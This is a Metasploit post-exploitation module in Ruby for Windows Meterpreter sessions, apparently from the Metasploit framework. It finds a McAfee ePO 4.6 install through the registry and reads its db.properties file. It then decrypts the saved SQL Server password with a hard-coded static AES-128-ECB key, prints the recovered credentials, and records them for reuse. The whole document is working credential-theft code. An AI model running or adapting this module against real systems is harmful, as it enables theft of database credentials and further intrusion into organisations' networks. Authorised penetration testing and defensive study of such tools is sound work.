## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'net/dns/resolver' class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Gather McAfee ePO 4.6 Config SQL Credentials', 'Description' => %q{ This module extracts connection details and decrypts the saved password for the SQL database in use by a McAfee ePO 4.6 server. The passwords are stored in a config file. They are encrypted with AES-128-ECB and a static key. }, 'License' => MSF_LICENSE, 'Author' => ['Nathan Einwechter '], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ core_channel_eof core_channel_open core_channel_read core_channel_write stdapi_net_resolve_host ] } } ) ) end def run # Find out where things are installed print_status('Finding Tomcat install path...') subkeys = registry_enumkeys('HKLM\Software\Network Associates\ePolicy Orchestrator', REGISTRY_VIEW_32_BIT) if subkeys.nil? || subkeys.empty? print_error('ePO 4.6 Not Installed or No Permissions to RegKey') return end # Get the db.properties file location epol_reg_key = 'HKLM\Software\Network Associates\ePolicy Orchestrator' dbprops_file = registry_getvaldata(epol_reg_key, 'TomcatFolder', REGISTRY_VIEW_32_BIT) if dbprops_file.nil? || (dbprops_file == '') print_error('Could not find db.properties file location') else dbprops_file << '/conf/orion/db.properties' print_good('Found db.properties location') process_config(dbprops_file) end end def process_config(filename) config = client.fs.file.new(filename, 'r') print_status("Processing #{filename}") contents = config.read config_lines = contents.split("\n") for line in config_lines line.chomp line_array = line.split('=') case line_array[0] when 'db.database.name' database_name = '' line_array[1].each_byte { |x| database_name << x unless x > 126 || x < 32 } when 'db.instance.name' database_instance = '' line_array[1].each_byte { |x| database_instance << x unless x > 126 || x < 32 } when 'db.user.domain' user_domain = '' line_array[1].each_byte { |x| user_domain << x unless x > 126 || x < 32 } when 'db.user.name' user_name = '' line_array[1].each_byte { |x| user_name << x unless x > 126 || x < 32 } when 'db.port' port = '' line_array[1].each_byte { |x| port << x unless x > 126 || x < 32 } when 'db.user.passwd.encrypted.ex' # ePO 4.6 encrypted password passwd = '' line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 } passwd.gsub('\\', '') # Add any Base64 padding that may have been stripped out passwd << '=' until (passwd.length % 4 == 0) plaintext_passwd = decrypt46(passwd) when 'db.user.passwd.encrypted' # ePO 4.5 encrypted password - not currently supported, see notes below passwd = '' line_array[1].each_byte { |x| passwd << x unless x > 126 || x < 32 } passwd.gsub('\\', '') # Add any Base64 padding that may have been stripped out passwd << '=' until (passwd.length % 4 == 0) plaintext_passwd = 'PASSWORD NOT RECOVERED - ePO 4.5 DECRYPT SUPPORT IS WIP' when 'db.server.name' database_server_name = '' line_array[1].each_byte { |x| database_server_name << x unless x > 126 || x < 32 } end end # resolve IP address for creds reporting result = client.net.resolve.resolve_host(database_server_name) if result[:ip].nil? || result[:ip].empty? print_error('Could not determine IP of DB - credentials not added to report database') return end db_ip = result[:ip] print_good("SQL Server: #{database_server_name}") print_good("SQL Instance: #{database_instance}") print_good("Database Name: #{database_name}") if db_ip print_good("Database IP: #{db_ip}") end print_good("Port: #{port}") if user_domain.nil? || (user_domain == '') print_good('Authentication Type: SQL') full_user = user_name else print_good('Authentication Type: Domain') print_good("Domain: #{user_domain}") full_user = "#{user_domain}\\#{user_name}" end print_good("User: #{full_user}") print_good("Password: #{plaintext_passwd}") if db_ip # submit to reports service_data = { address: Rex::Socket.getaddress(db_ip), port: port, protocol: 'tcp', service_name: 'mssql', workspace_id: myworkspace_id } credential_data = { origin_type: :session, session_id: session_db_id, post_reference_name: refname, username: full_user, private_data: plaintext_passwd, private_type: :password } credential_core = create_credential(credential_data.merge(service_data)) login_data = { core: credential_core, access_level: 'User', status: Metasploit::Model::Login::Status::UNTRIED } create_credential_login(login_data.merge(service_data)) print_good('Added credentials to report database') else print_error('Could not determine IP of DB - credentials not added to report database') end end def decrypt46(encoded) encrypted_data = Rex::Text.decode_base64(encoded) aes = OpenSSL::Cipher.new('AES-128-ECB') aes.decrypt aes.padding = 0 # Private key extracted from ePO 4.6.0 Build 1029 # If other keys are required for other versions of 4.6 - will have to add version # identification routines in to the main part of the module key = [ 94, -100, 62, -33, -26, 37, -124, 54, 102, 33, -109, -128, 49, 90, 41, 51 ] aes.key = key.pack('C*') password = aes.update(encrypted_data) + aes.final # Get rid of all the crazy \f's that result password.gsub!(/[^[:print:]]/, '') return password end end